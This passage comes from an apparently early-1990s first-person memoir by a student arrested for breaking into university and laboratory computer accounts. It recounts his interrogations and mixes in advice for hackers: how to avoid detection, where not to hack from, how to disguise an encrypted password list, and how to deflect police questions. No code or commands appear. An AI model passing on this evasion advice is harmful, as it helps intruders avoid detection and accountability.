reappeared with a grim, mustached police officer and what appeared to be the
cast of Revenge of the Nerds.
Angela Thomas, computer science instructor, immediately commandeered
both terminals I had been using and began transferring the contents of
all directories to a safe machine; the newcomer, Police Services Officer
Sam Ricciotti, volunteered the helpful information: "You're in big
trouble, kid."
In an excess of hospitality, they then offered me a ride to Grange
Building, police headquarters of Penn State, for an afternoon of
conversation and bright lights.
I asked if I were under arrest, and finding that I was not, asked
what would happen if I refused their generous offer. They said that
it might have negative repercussions, and that the wise choice was to
accompany them.
So, after a moment of thought, I agreed to accompany them. Forming a
strange procession, with a police officer preceding me and another
following, we entered an elevator. Then, still in formation, we exited
the building to be greeted by two police cars with flashing red and
blue lights. Like a chauffeur, Officer Ricciotti opened the door for
me, and it was only after he closed it that I realized, for the first
time, that the back doors of police cars have no handles on the inside.
I had made yet another mistake in a long series.
The purpose of this article is to detail several possible mistakes in dealing
with police and how they may be avoided. As I made almost every possible
mistake, my experience should prove enlightening.
While I hope that this article might prevent you from being busted,
I will have been successful if even one person does not make the
mistakes I made when I was busted.
II. Prelude
To provide the reader with context, I shall explain the series of events
which culminated in my apprehension.
On my entrance to the Pennsylvania State University as a University
Scholar, the highest distinction available from an institution remarkable for
its lack of distinction, I received an account on PSUVM, an IBM 3090 running
VM/CMS. Before receiving the account, I acquired all available documentation
from the Information Desk and read it. As it happened, the first document I
read concerned "Netnews," the local name for Usenet.
As soon as my account was activated, I immediately typed netnews.
I have never been the same since. Within a week, I began posting
articles of my own and was immediately lambasted, flamed and roasted
to a crisp. Discovering my own talent in the area of malediction,
I became an alt.flame and talk.bizarre regular. I also read comp.risks,
comp.dcom.telecom and other technical journals assiduously.
I began hacking VM/CMS, independently discovering a vast
number of flaws in the system. Within a few months, I was able to
access any information in the system which interested me, submit
anonymous batch jobs, and circumvent the 'ration' utility which limited
a luser's time on the system. It was a trivial matter to write a trojan
horse which imitated the login screen and grabbed passwords. Late
at night, when there were few users, I would crank the CPU, of
a system capable of handling 300 users simultaneously,
to 100% capacity just for the sake of doing it. I discovered a
simple method of crashing the system, but felt no need to do it,
as I knew that it would work. To avoid disk space rationing, I
would store huge files in my virtual punch. To my credit, lest
I seem a selfish pig unconcerned with the welfare of
other users, I limited such exercises to the later hours of the
night, and eliminated large files when they were no longer useful
to me.
Like one starved, I glutted myself on information. To have
legitimate access to such a system was marvellous. For a few months,
I was satisfied with my level of 'power,' that elusive quality which is
like a drug to those of a certain peculiarity of mind.
However, it was not long before I realized that despite the sheer
power of the system, the user interface was clumsy,
unaesthetic and intolerable to anyone desiring to understand
the machine directly. The damn thing had a virtual punch
card system!
I had heard about Unix, and was interested in trying this system. However,
without an affiliation with the Computer Science Department, I had no
way to get Unix access.
Comparative Literature majors apparently should not clutter their heads with
such useless and destructive nonsense as the Unix operating system,
just as an Engineering major can only be damaged by such
mental clutter as the works of Shakespeare; this, in any case, seemed
to be the only justification for such an arcane, Byzantine
policy of restricting access to a nearly unlimited resource.
The academic community is addicted to the unhealthy practice of restricting
information, and its policies are dedicated to the end of turning agile, eager
young minds into so many identical cogs in the social mill. Those unable or
unwilling to become cogs are of no use to this machine, and are dispensable.
Thus, in the latter part of my freshman year, I became increasingly
frustrated and disillusioned with higher education in general, and
by the very idea of specialized education in particular. I stopped
attending classes, and even skipped tests. I became increasingly
nocturnal and increasingly obsessed with Usenet. Nevertheless, even
by doing the entire semester's work during finals week, I still
barely managed to maintain honors status.
The summer restored my spirits greatly. I experimented
with LSD for the first time, and found that it allowed me to see
myself as I truly was, and to come to a certain grudging acceptance of
myself, to a greater degree than any psychologist had. I found that I
preferred marijuana to alcohol, and soon no longer subjected myself to
prolonged bouts of drinking.
However, I mistook my upturn in spirits for a rejuvenation, when
it was more likely due to the lack of pressure and hedonism
of summer.
Near the end of my first year, I met Dale Garrison [*], an
electronic musician and audio man for WPSX-TV, the university
public television station. He also recorded music recitals
for faculty and visiting luminaries, and thus had access to
the Electronic Music Lab and all its facilities.
His friend Shamir Kamchatka [*] had bequeathed him a Unix
account on the mail hub of the Pennsylvania State University.
Another friend, Ron Gere [*], a systems operator for the
Engineering Computer Lab, had created an account for him on
the departmental VAXcluster following the termination of his
legitimate account due to a change in policy. They gave the
account the cover name of Huang Chang [*] as a sort of joke,
but this name was remarkably inconspicuous with the preponderance
of Asian names on the system. Dale began posting articles under
this name, as he had no account with his real name, but by a slow
process, the nom-de-plume became a well-developed and individual
personality, and the poems, articles and diatribes written
under this name became quite popular. Even when we later
realized the ease with which he could forge articles with his
actual name, he was disinclined to do so. The wit and
intelligence of the assumed identity became so unique to
that identity that it would have been difficult to shed.
I often used the Unix account, and quickly began to
understand and appreciate the complexity and organic unity
of the Internet.
I had no moral qualms about using a computer account with the
permission of the legitimate owner of the account, any more than
I would have moral qualms about checking out a book from the
mathematics library. A source of information for which my tuition
and taxes has paid is a source of information which I have every
right to access. To deny my access is a crime greater by far
than for me to claim my rights by nondestructive means. Any
university will allow a student of any college to check out a book
on any subject from the library.
However, myopic university administrations seem to believe that restricting
access to information, rather than allowing a free exchange of ideas, is the
purpose of an educational institution. Every department will have its own
computer subnetwork, regardless of whether it is sensible or equitable to do
so. The stagnation and redundancy we see on the Internet is the inevitable
result of such an absurd _de facto_ standard.
This policy is by no means limited to computers. It extends to
class scheduling, work-study programs, any technical equipment worth
using, arts training, religious studies, athletic facilities, degree
requirements, musical instruments, literature and any thing which is
useful to the mind. Bean-counters who can neither read a line
of Baudelaire nor parse a line of C decide what is to be the canned
curriculum for anyone who chooses a major. This is the obvious
outcome in a society where education is so undervalued that
Education majors have the lowest SAT scores of any degree-level
students.
So I thought as I saw resources wasted, minds distorted,
the lives of close friends ruined by the slow, inexorable grinding
of the vast, impersonal machine known as higher education. I saw
professors in computer science tell blatant falsehoods, professors
in philosophy misquote Nietzsche, professors in English Literature
hand out typewritten memos rife with grammatical errors.
I grew entirely disgusted with the mismanagement of higher
education. When I discovered that the most intelligent and individual
people around me were usually not students, I gave up on college
as a means of self-actualization.
My second year of college was essentially the first repeated,
except that my frustration with the academic world bloomed into
nihilism, and my depression into despair. I no longer even bothered to
attend most tests, and even skipped finals. I allowed my paperwork for
the University Scholars Program to lapse, rather than suffer
the indignity of ejection for poor academic performance.
Another summer followed, with less cheer than the previous. Very early in the
summer, a moron rear-ended my car without even slowing down before slamming
into me. My mother and stepfather ejected me from their house, and I moved to
Indiana to live with my father. When the insurance money arrived from my
totalled car, I purchased a cheap vehicle and hit the highway with no
particular destination in mind. With a lemming's logic, I turned east instead
of west on I-70, and returned to State College, Pennsylvania.
At the last moment, I registered for part-time classes.
III. History of a Conflagration
>From the beginning of this semester, I neglected my classes, and
instead read RFCs and Unix system security manuals. I began
experimenting with the communications capabilities of the TCP/IP protocol
suite, and began to understand more deeply how it was that such a network
could exist as an organic whole greater than the sum of its parts.
In the interest of experimenting with these interconnections, I
began to acquire a number of Internet 'guest' accounts. When possible, I
would use these to expand my area of access, with the goal of testing the
speed and reliability of the network; and, I freely admit, for my amusement.
I realized, at the time, that what I was doing was, legally, in
a gray area; but I did not give moral considerations more than
a passing thought. Later, I had leisure to ponder the moral and legal aspects
of my actions at great length, but at the time I was collecting accounts I
only considered the technical aspects of what I was doing.
I discovered Richard Stallman's accounts on a variety of computers.
I used these only for testing mail and packet routing.
I realized that it would be trivial to use them for malicious
purposes, but the thought of doing so did not occur to me. The very
idea of hacking a computer system implies the desire to outsmart the
security some unknown person had designed to prevent intrusion; to
abuse a trust in this manner has all the appeal to a hacker that a
hunter would find in stalking a kitten with a howitzer. To hack an
open system requires no intelligence and little knowledge, and
imparts no deeper knowledge than is available by legitimate use of
the system.
I soon had a collection of accounts widely scattered around
the continent: at the University of Chicago, at the Pennsylvania
State University, at Johns Hopkins, at Lawrence-Berkeley Laboratories
and a number of commercial and government sites.
However, the deadly mistake of hacking close to home was my downfall.
I thought I was untouchable and infallible, and in a regrettable accident I
destroyed the /etc/groups file at the Software Engineering Laboratory at Penn
State, due to a serious lapse in judgment combined with a series of
typographical errors. This is the only action for which I should have been
held accountable; however, as you shall see, it is the only action for which
I was not penalized in any way.
I halt the narrative here to deliver some advice suggested by my
mistakes.
My first piece of advice is: avoid the destruction of information by not
altering any information beyond that necessary to maintain
access and avoid detection. Try to protect yourself from typographical
errors by backing up information. My lack of consideration in this
important regard cost Professor Dhamir Mannai many hours
reconstructing the groups file. Dhamir plays a major role in the
ensuing fracas, and turned out very sympathetic. I must
emphasize that the computer security people with whom we have such
fun are often decent people. Treat a system you have invaded as
you would wish someone to treat your system if they had done the
same to you. Protect both the system and yourself. Damage to the system
will have a significant effect on any criminal case which is filed
against you. Even the harshest of judges is likely to respond to a
criminal case with a bewildered dismissal if no damage is alleged.
However, if there is any damage to a system, the police will most certainly
allege that you maliciously damaged the machine. It is their job
to do so.
My second piece of advice is: avoid hacking systems geographically
local to you, even by piggybacking multiple connections across the
country and back to mask your actions. In any area there is a limited
number of people both capable of and motivated to hack.
When the local security gurus hear that a hacker is on the loose,
they will immediately check their mental list of people who fit the
profile. They are in an excellent position to monitor their own network.
Expect them to do so.
I now return to my narrative.
Almost simultaneous with my activities, the Computer Emergency Response
Team was formed in the wake of the Morris Worm, and was met with an
almost palpable lack of computer crime worth prosecuting.
They began issuing grimly-worded advisories about the ghastly horrors
lurking about the Internet, and warned of such dangerous events as
the WANK (Worms Against Nuclear Killers) worm, which displayed
an anti-nuclear message when a user logged on to an infected
machine.
To read the newspaper article concerning Dale and me, a person who
collects guest accounts is, if not Public Enemy Number One, at least
a major felon who can only be thwarted by the combined efforts of
a major university's police division, two computer science departments,
and Air Force Intelligence, which directly funds CERT.
Matt Crawford, at the University of Chicago, notified CERT of my
intrusions into their computer systems. The slow machinery
of justice began to creak laboriously into motion. As I had
taken very few precautions, they found me within two weeks.
As it happens, both the Penn State and University of Chicago
systems managers had publicly boasted about the impenetrability of
their systems, and perhaps this contributed to their rancor at discovering
that the nefarious computer criminal they had apprehended was a
Comparative Literature major who had failed his only computer science
course.
IV. In the Belly of the Beast
When we arrived at the police station, the police left me in a room
alone for approximately half an hour. My first response was to check
the door of the room. It was unlocked. I checked the barred
window, which was locked, but could be an escape if necessary.
Then, with nothing to do, I considered my options. I considered
getting up and leaving, and saying that I had nothing to discuss
with them. This was a sensible option at the outset, I thought,
but certainly not sensible now. This was a repetition of
a mistake; I could have stopped talking to them at any time.
Finally, I assumed the lotus position on the table in order to collect my
thoughts. When I had almost collected my thoughts, Anne Rego and Sam
Ricciotti returned to the room, accompanied by two men I took to be criminals
at first glance: a scruffy, corpulent, bearded man I mentally tagged as a
public indecency charge; and a young man with the pale and flaccid ill-health
of a veal calf, perhaps a shoplifter. However, the pair was Professor Robert
Owens of the computer science department and Daniel Ehrlich, Owens' student
flunky.
Professor Owens sent Ehrlich out of the room on some trivial
errand. Ricciotti began the grilling. First, he requested
that I sign a document waiving my Miranda rights. He explained that it
was as much for my benefit as for theirs. I laughed out loud. However,
I thought that as I had done nothing wrong, I should have no fear of
talking to them, and I signed the fatal document.
I assumed that what I was going to say would be taken at
face value, and that my innocence was invulnerable armor.
Certainly I had made a mistake, but this could be explained, could it
not? Despite my avowed radical politics, my fear of authority was
surpassed by a trust for apparent sincerity.
As they say, a con's the easiest mark there is.
I readily admitted to collecting guest accounts, as I found nothing
culpable in using a guest account, my reasoning being that if a public
building had not only been unlocked, but also a door in that
building had been clearly marked as for a "Guest," and that door opened
readily, then no one would have the gall to arrest someone for trespass, even
if other, untouched parts of the building were marked
"No Visitors." Using a 'guest' account is no more computer crime than
using a restroom in a McDonald's is breaking-and-entering.
Ricciotti continued grilling me, and I gave him further information.
I fell prey to the temptation to explain to him what he clearly did
not understand. If you are ever in a similar circumstance, do not do
so. The opaque ignorance of a police officer is, like a well-
constructed security system, a very tempting challenge to a hacker.
However, unlike the security system, the ignorance of a police
officer is uncrackable.
If you attempt to explain the Internet to a police officer investigating
you for a crime, and the notion of leased WATS lines seems
a simple place to start, it will be seen as evidence of some vast,
bizarre conspiracy. The gleam in the cop's eye is not one of
comprehension; it is merely the external evidence that a power fantasy
is running in the cop's brain. "I," the cop thinks, "will definitely be
Cop of the Year! I'm going to find out more about this Internet thing
and bust the people responsible."
Perhaps you will be lucky or unlucky enough to be busted by a cop
who has some understanding of technical issues. Never having been
busted by a computer-literate cop, I have no opinion as to whether
this would be preferable. However, having met more cops than I care to
remember, I can tell you that the chances are slim that you will meet a cop
capable of tying shoelaces in the morning. The chances of meeting a cop
capable of understanding the Internet are nearly nonexistent.
Apparently, this is changing, but by no means as rapidly
as the volatile telecommunications scene. At present, the cop who busts
you might have a Mac hooked up to NCIC and be able to use it clumsily;
or may be able to cope with the user interface of a BBS, but don't
bother trying to explain anything if the cop doesn't understand you.
If the cop understands you, you have no need to explain; if not, you
are wasting your time. In either case, you are giving the police the
rope they need to hang you.
You have nothing to gain by talking to the police. If you are not under
arrest, they can do nothing to you if you refuse to speak to them. If you
must speak to them, insist on having an attorney present. As edifying as it
is to get a first-hand glimpse of the entrenched ignorance of the law-
enforcement community, this is one area of knowledge where book-learning is
far preferable to hands-on experience. Trust me on this one.
If you do hack, do not use your personal computing equipment and
do not do it from your home. To do so is to invite them to confiscate every
electronic item in your house from your telephone to your microwave. Expert
witnesses are willing to testify that anything taken could be used for illegal
purposes, and they will be correct.
Regardless of what they may say, police have no authority to offer
you anything for your cooperation; they have the power to tell the
magistrate and judge that you cooperated. This and fifty cents will
get you a cup of coffee.
Eventually, the session turned into an informal debate with Professor
Owens, who showed an uncanny facility for specious argument and
proof by rephrasing and repeating. The usual argument ensued,
and I will encapsulate rather than include it in its entirety.
"If a bike wasn't locked up, would that mean it was right to steal it or
take it for a joyride?"
"That argument would hold if a computer were a bike; and if the bike
weren't returned when I was done with it; and if, in fact, the bike
hadn't been in the same damn place the whole time you assert it was
stolen."
"How do you justify stealing the private information of others?"
"For one thing, I didn't look at anyone's private information.
In addition, I find the idea of stealing information so grotesque
as to be absurd. By the way, how do you justify working for Penn State, an
institution that condoned the illegal sale of the Social Security
Numbers of its students?"
"Do you realize what you did is a crime?" interjected Ricciotti.
"No, I do not, and after reading this law you've shown me, I still
do not believe that what I did violates this law. Beyond that, what
happened to presumed innocent until proven guilty?"
The discussion continued in a predictable vein for about two hours,
when we adjourned until the next day. Sam sternly advised me that as
this was a criminal investigation in progress, I was not to tell
anyone anything about it. So, naturally, I immediately told
everyone I knew everything I knew about it.
With a rapidly mounting paranoia, I left the grim, cheerless
interrogation room and walked into the bustle of an autumn day
at Penn State, feeling strangely separate from the crowd around
me, as if I had been branded with a scarlet 'H.'
I took a circuitous route, often doubling back on myself, to detect
tails, and when I was sure I wasn't being followed, I headed straight
for a phone booth to call the Electronic Music Lab.
The phone on the other end was busy. This could only mean one thing,
that Dale was online. His only crime was that he borrowed an
account from the legitimate user, and used the Huang account
at the Engineering Computer Lab, but I realized after my discussion
with the police that they would certainly not see the matter as
I did.
I realized that the situation had the possibility to erupt into
a very ugly legal melee. Even before Operation Sun-Devil, I realized
that cops have a fondness for tagging anything a conspiracy
if they feel it will garner headlines. I rushed to the Lab.
V. A Desperate Conference
"Get off the computer now! I've been busted!"
"This had better not be a goddamn joke."
He rapidly disconnected from his session and turned off the computer.
We began to weigh options. We tried to figure out the worst thing they
could do to me. Shortly, we had a list of possibilities. The police
could jail me, which seemed unlikely. The police could simply forget
about the whole thing, which seemed very unlikely. Anything between
those two poles was possible. Anything could happen, and as I was
to find, anything would. We planned believing that it was only
I who was in jeopardy.
If you are ever busted, you will witness the remarkable migration
habits of the fair-weather friend. People who yesterday had
nothing better to do than sit around and drink your wine will
suddenly have pressing duties elsewhere.
If you are lucky, perhaps half a dozen people will consent to speak
to you. If you are very lucky, three of them will be willing to be
seen with you in public.
Very shortly the police would begin going after everyone I knew for no other
reason than that they knew me. I was very soon to be given yet another of the
blessings accorded to those in whom the authorities develop an interest.
I would discover my true friends.
I needed them.
VI. The Second Interrogation
I agreed to come in for a second interview.
At this interview, I was greeted by two new cops. The first cop,
with the face of an unsuccessful pugilist, was Jeffery Jones.
I detested him on sight.
The second, older cop, with brown hair and a mustache, was Wayne
Weaver, and had an affable, but stern demeanor, somewhat reminiscent
of a police officer in a fifties family sitcom.
As witness to this drama, a battered tape recorder sat between us
on the wooden table. In my blithe naivete, I once again waived
my Miranda rights, this time on tape.
The interview began with a deranged series of accusations by Jeffery
Jones, in which were combined impossibilities, implausibilities,
inaccuracies and incongruities. He accused me of everything
from international espionage to electronic funds transfer. Shortly
he exhausted his vocabulary with a particularly difficult
two-syllable word and lapsed into silence.
Wayne filled the silence with a soft-spoken inquiry, seemingly
irrelevant to the preceding harangue. I answered, and we began
a more sane dialogue.
Jeffery Jones remained mostly silent. He twiddled his thumbs, studied
the intricacies of his watch, and investigated the gum stuck under the table.
Occasionally he would respond to a factual statement by rapidly turning,
pounding the table with his fists and shouting: "We know you're lying!"
Finally, after one of Jeffery's outbursts, I offered to terminate the
interview if this silliness were to continue. After a brief consultation
with Wayne, we reached an agreement of sorts and Jeff returned to a dumb,
stony silence.
I was convinced that Wayne and Jeff were pulling the good cop/bad cop
routine, having seen the mandatory five thousand hours of cop shows the
Nielsen people attribute to the average American. This was, I thought,
standard Mutt and Jeff. I was to change my opinion. This was not good
cop/bad cop. It was smart cop/dumb cop. And, more frighteningly, it
was no act.
After some more or less idle banter, and a repetition of my previous
story, and a repetition of my refusal to answer certain other questions,
the interrogation began to turn ugly.
Frustrated by my refusal to answer, he suddenly announced that he knew
I was involved in a conspiracy, and made an offer to go easy on me if
I would tell him who else was involved in the conspiracy.
I refused point-blank, and said that it was despicable of him to
request that I do any such thing. He began to apply pressure and
I will provide a reconstruction of the conversation. As the police
have refused all requests by me to receive transcripts of interviews,
evidence and information regarding the case, I am forced to rely on
memory.
"These people are criminals. You'd be doing the country a service
by giving us their names."
"What people are criminals? I don't know any criminals."
"Don't give me that. We just want their names. We won't do
anything except ask them for information."
"Yeah, sure. Like I said, I don't know any criminals. I'm not a criminal,
and I won't turn in anyone for your little witch-hunt, because I don't
know any criminals, and I'd be lying if I gave you any names."
"You're not going to protect anyone. We'll get them anyway."
"If you're going to get them, you don't need my help."
"We won't tell anyone that you told them about us."
"Fuck that. I'll know I did it. How does that affect the morality
of it, anyway?"
Dropping the moral argument, he went to the emotional argument:
"If you help us, we'll help you. When you won't help us, you
stand alone. Those people don't care about you, anyway."
"What people? I don't know any people."
"Just people who could help us with our investigation. It doesn't
mean that they're criminals."
"I don't know anything about any criminals I said."
"In fact, one of your friends turned you in. Why should you take
this high moral ground when you're a criminal anyway, and they'd
do the same thing to you if they were in the situation you're in.
You just have us now, and if you won't stand with us, you stand
alone."
"I don't have any names. And no one I knew turned me in."
This tactic, transparent as it was, instilled a worm of doubt in my mind.
That was its purpose.
This is the purpose of any of the blandishments, threats and lies
that the police will tell you in order to get names from you. They
will attempt to make it appear as if you will not be harming the
people you tell them about. Having been told that hackers are just
adolescent pranksters who will crack like eggs at the slightest
pressure and cough up a speech of tearful remorse and hundreds of
names, they will be astonished at your failure to give them names.
I will here insert a statement of ethics, rather than the merely
practical advice which I have heretofore given. If you crack at the
slightest pressure, don't even bother playing cyberpunk. If
your shiny new gadget with a Motorola 68040 chip and gee-whiz
lightning Weitek math co-processor is more important to you than
the lives of your friends, and you'd turn in your own grandmother
rather than have it confiscated, please fuck off. The computer underground
does not need you and your lame calling-card and access code rip-offs.
Grow up and get a job at IBM doing the same thing a million
other people just like you are doing, buy the same car a million
other people just like you have, and go to live in the same suburb
that a million other people like you call home, and die quietly at
an old age in Florida. Don't go down squealing like a pig,
deliberately and knowingly taking everyone you know with you.
If you run the thought-experiment of imagining yourself in this
situation, and wondering what you would do, and this description
seems very much like what meets you in the bathroom mirror, please
stop hacking now.
However, if you feel you must turn someone in to satisfy the cops,
I can only give the advice William S. Burroughs gives in _Junky_
to those in a similar situation: give them names they already have, without
any accompanying information; give them the names of people who have left the
country permanently. Be warned, however, that giving false information to the
police is a crime; stick to true, but entirely useless information.
Now, for those who do not swallow the moral argument for not finking,
I offer a practical argument. If you tell the police about
others you know who have committed crimes, you have admitted
your association with criminals, bolstering their case
against you. You have also added an additional charge against
yourself, that of conspiracy. You have fucked over the very
friends you will sorely need for support in the near future,
because the investigation will drag on for months, leaving your life
in a shambles. You will need friends, and if you have sent
them all up the river, you will have none. Worse, you will
deserve it. You have confessed to the very crimes you
are denying, making it difficult for you to stop giving them
names if you have second thoughts. They have the goods on you.
In addition, any offers they make if you will give them names are legally
invalid and non-binding. They can't do jack-shit for you and wouldn't if they
could. The cop mind is still a human mind, and there is nothing more
despicable to the human mind than a traitor.
Do not allow yourself to become something that you can not tolerate being.
Like Judas, the traitor commits suicide both figuratively and literally.
I now retire from the soapbox and return to the confessional.
My motives were pure and my conscience was clean. With a sense
of self-righteousness unbecoming in a person my age, I assumed that
my integrity was invulnerability, and that my refusal to give them
any names was going to prevent them from fucking over my friends.
I had neglected to protect my email. I had not encrypted my
communications. I had not carefully deleted any incriminating
information from my disks, and because of this I am as guilty
as the people who blithely rat out their friends. I damaged
the lives of a number of people by my carelessness, a number of
people who had more at stake than I had, and all my good intentions
were not worth a damn. I had one encrypted file, that a list
of compromised systems and account names, and that was DES encrypted
with a six-character alphanumeric.
As I revelled in my self-righteousness, Dan Ehrlich and Robert Owens
arrived with a two-foot high pile of hardcopy on which was printed
every file on my PSUVM accounts, including at least a year of email
and all my posts to the net, including those in groups such as
alt.drugs, and articles by other people.
Wayne assumed that any item on the list, even saved posts from other
people, was something that had been sent to me personally by its
author, and that these people were, thus, involved in some vast conspiracy.
While keeping the printed email out of my sight, he began listing
names and asking me for information about that person. I answered,
for every person, that I knew nothing about that person except what
they knew. He asked such questions as "What is Emily Postnews'
real name, and how is she involved in the conspiracy?"
Ehrlich and Owens had conveniently disappeared, so I couldn't expect them to
explain the situation to Wayne; and had, myself, given up any attempt to
explain, realizing that anything I said would simply reinforce the cops'
paranoid conspiracy theories. By then, I was refusing to answer practically
every question put to me, and finally realized I was outgunned. When I had
arrived, I was puffed up with bravado and certain that I could talk my way out
of this awful situation. Having made rather a hash of it as a hacker, I
resorted to my old standby, my tongue, with which I had been able
to escape any previous situation. However, not only had I not talked
my way out of being busted, I had talked my way further into it.
If you believe, from years of experience at social engineering,
that you will be able to talk your way out of being busted, I wish
you luck; but don't expect it to happen. If you talk with the police, and
you are not under arrest at the time, expect that one or two of
your sentences will be able to be taken out of context and used
as a justification for issuing an arrest warrant. If you talk with
the police and you are under arrest, the Miranda statement: "Anything
you say can and will be held against you in a court of law," is perhaps
the only true statement in that litany of lies.
In any case, my bravado had collapsed. I still pointedly
called the cops "Wayne" and "Jeff," but otherwise, resorted to
repeating mechanically that I knew nothing about nothing.
Owens and Ehrlich returned, and announced that they had discovered
an encrypted file on my account, called holy.nodes. I bitterly regretted
the flippant name, and the arrogance of keeping such a file.
If you must have an encrypted list of passwords and accounts
sitting around, at least give it a name that makes it seem like some
sort of executable, so that you have plausible deniability.
They assured me that they could decrypt it within six hours on a
Cray Y-MP to which they had access. I knew that the Computer Science
Department had access to a Cray at the John von Neuman Computer Center.
I made a brief attempt to calculate the rate of brute-force password
cracking on a Cray and couldn't do it in my head. However, as
the password was only six alphanumeric characters, I realized that it
was quite possible that it could be cracked. I believe now that
I should have called their bluff, but I gave them the key, yet another
in a series of stupid moves.
Shortly, they had a list of computer sites, accounts and passwords,
and Wayne began grilling me on those. Owens was livid when he noted
that a machine at Lawrence-Berkeley Labs, shasta.lbl.gov, was in the
list. This was when my trouble started.
You might recall that Lawrence-Berkeley Labs figures prominently in
Clifford Stoll's book _The Cuckoo's Egg_. The Chaos Computer
Club had cracked a site there in the mistaken belief that it was Lawrence-
Livermore. As it happens, I had merely noticed a guest account there,
logged in and done nothing further. Of course, this was too
simple an explanation for a cop to believe it.
Owens had given the police a tiny bit of evidence to support the
bizarre structure of conspiracy theories they had built; and a paranoid
delusion, once validated in even the most inconsequential manner, becomes
unshakably firm.
Wayne returned to the interrogation with renewed vigor. I continued
giving answers to the effect that I knew nothing. He came to the name of
Raymond Gary [*], who had generously allowed me to use an old account on
PSUVM, that of a friend of his who had left the area. I attempted to assure
them of his innocence. This was another bad move.
It was a bad move because this immediately reinforces the conspiracy
theory, and the cops wish to have more information on that
person. I obfuscated, and returned to the habit of repeating: "Not to
the best of my recollection," as if I were in the Watergate hearings.
Another name surfaced, that of a person who had allowed me to use his
account because our respective machines could not manage a tolerable
talk connection. This person, without his knowledge, joined the
conspiracy. Once again, I foolishly tried to explain the situation.
This simply made it worse, as the cop did not understand a word
I was saying; and Owens was incapable of appreciating the difference
between violating the letter of the law and the spirit of the law.
Wayne repeatedly asked about my overseas friends, informed me that he knew
there were foreign governments involved, again told me that a friend of mine
had informed on me. I was told lies so outrageous that I hesitate to put them
on paper. I denied everything.
I made another lengthy attempt at explanation, trying to defuse the conspiracy
theory, and gave a speech on the difference between breaking into someone's
house and ripping off everything there, voyeuristically spying on people, and
temporarily borrowing an account simply to talk to someone because a network
link was not working. I made an analogy between this and asking
someone who is driving a corporate vehicle to give a jump to a
disabled vehicle, and tried to explain that this was certainly not
the same as if the authorized user of the corporate vehicle had simply
handed a passerby the keys. I again attempted to explain the Internet, leased
lines, the difference between FTP and mail, why everyone on the Internet
allowed anyone else to transfer files from, to and through their machines, and
once again failed to explain anything.
Directly following this tirade, delivered almost at a shout, Wayne
leaned over the desk and asked me: "Who's Bubba?"
This was too much to tolerate. My ability to take the situation
seriously, already very shaky, simply vanished in the face of
this absurdity. I lost it entirely. I laughed hysterically.
I asked, my anger finally getting the better of my amusement: "What the
fuck kind of question is that?"
He repeated the question, not appreciating the humor inherent in
this absurd contretemps; I was beyond trying to maintain the appearance
of solemnity. Everything, the battered table, the primitive
tape recorder, the stony-faced cops, the overweight computer security
guys, seemed entirely empty of meaning. I could no longer accept as real that
I was in this dim room with a person asking me the question: "Who's Bubba?"
I said: "I have no idea. You tell me."
Finally, Wayne came to Dale's name. Dale did not use his last name
in any of the email he had sent to me, and I hoped that his name
was not in any file on any machine anywhere. I recovered some of
my equilibrium, and refused to answer.
A number of references to "lab supplies" were made in the email, and
I was questioned as to the meaning of this phrase. I answered that
it simply meant quarter-inch reels of tape for music. They refused
to accept this explanation, and accused me of running a drug ring over
the computer network.
Veiled threats, repetitions of the question, rephrasings of it,
assurances that they were going to get everyone anyway, and similar
cop routines followed.
Finally, having had altogether too much of this nonsense, I
said: "This interview's over. I'm leaving." As simply as that,
and as quickly, I got up and left. I wish I could say that I did
not look back, but I did glance over my shoulder as I left.
"We'll be in touch," said Wayne.
"Yeah, sure," I said.
VII. Thirty Pieces of Silver
I informed Dale of the ominous turn in the investigation, and
told him that the cops were now looking for him. From a sort of fatalistic
curiosity, we logged into Shamir's account to watch the activities
of the computer security guys, and to confer with some of their
associates to find out what their motivations might be. We had
decided that the possibility of a wiretap was slim, and that if
there were a wiretap, we were doomed anyway, so what the hell?
There is no conclusive evidence that there was a wiretap, but
the police would not have needed a warrant to tap university
phones, as they are on a private branch exchange, which does
not qualify for legal protection. In addition, one bit of
circumstantial evidence strikes me as indicative of the possibility
of a wiretap, that being that when Dale called Shamir to explain
the situation, and left a message in his voice mail box, the
message directly following Dale's was from Wayne.
We frequented the library, researching every book dealing with the subject of
computer crime, reading the Pennsylvania State Criminal Code, photocopying and
transcribing important texts, and compiling a disk of information relevant to
the case, including any information that someone "on the outside" would need
to know if we were jailed.
I badly sprained my ankle in this period, but walked on it for three
miles, and it was not until later in the night that I even realized
there was anything wrong with it, so preoccupied was I by the bizarre
situation in which I was embroiled. In addition, an ice storm developed,
leaving a thin layer of ice over sidewalks, roads and the skeletal
trees and bushes. I must have seemed a ridiculous figure hobbling
across the ice on a cane, looking over my shoulder every few seconds;
and attempting to appear casual whenever a police car passed.
It seemed that wherever I went, there was a police car which slowed
to my pace, and it always seemed that people were watching me. I
tried to convince myself that this was paranoia, that not everyone
could be following me, but the feeling continued to intensify, and
I realized that I had adopted the mentality of the cops,
that we were, essentially, part of the same societal process; symbiotic
and necessary to each other's existence. The term 'paranoia' had no
meaning when applied to this situation; as there were, indeed, people
out to get me; people who were equally convinced that I was out to
get them.
I resolved to accept the situation, and abide by its unspoken rules.
As vast as the texts are which support the law, there is another
entity, The Law, which is infinite and can not be explained in
any number of words, codes or legislation.
Dale and I painstakingly weighed our options.
Finally, Dale decided that he was going to contact the police, and
called a friend of his in the police department to ask for assistance
in doing so, Stan Marks [*], who was also an electronic musician.
On occasion, Stan would visit us in the Lab, turning off his walkie-
talkie to avoid the irritation of the numerous trivial assignments
which comprise the day-to-day life of the university cop.
After conferring with Stan, he decided simply to call Wayne and
Jeff on the phone to arrange an interview.
I felt like shit. The repercussions of my actions were spreading
like ripples on a pond, and were to disrupt the lives of several of
my dearest friends. At the same time, I was enraged. How
dare they do this? What had I done that warranted this torturous
and ridiculous investigation? Wasn't this investigation enough of
a punishment just in and of itself?
I wondered how many more innocent people would have to be fucked
over before the police would be satisfied, and wondered how many
innocent people, every day, are similarly fucked over in other
investigations. How many would it take to satisfy the cops?
The answer is, simply, every living person.
If you believe that your past, however lily-white, would withstand
the scrutiny of an investigation of several months' duration, with
every document and communication subjected to minute investigation,
you are deluding yourself. To the law-enforcement mentality, there
are no innocent people. There are only undiscovered criminals.
Only if we are all jailed, cops and criminals alike, will the machinery lie
dormant, to rust its way to gentle oblivion; and only then will the ruins be
left undisturbed for the puzzlement of future archaeologists.
With these thoughts, I waited as Dale went to the police station,
with the realization that I was a traitor by inaction, by having
allowed this to happen.
I was guilty, but this guilt was not a matter of law. My innocent
actions were those which were to be tried.
If you are ever busted, you will witness this curious inversion of
morality, as if by entering the world of cops you have walked
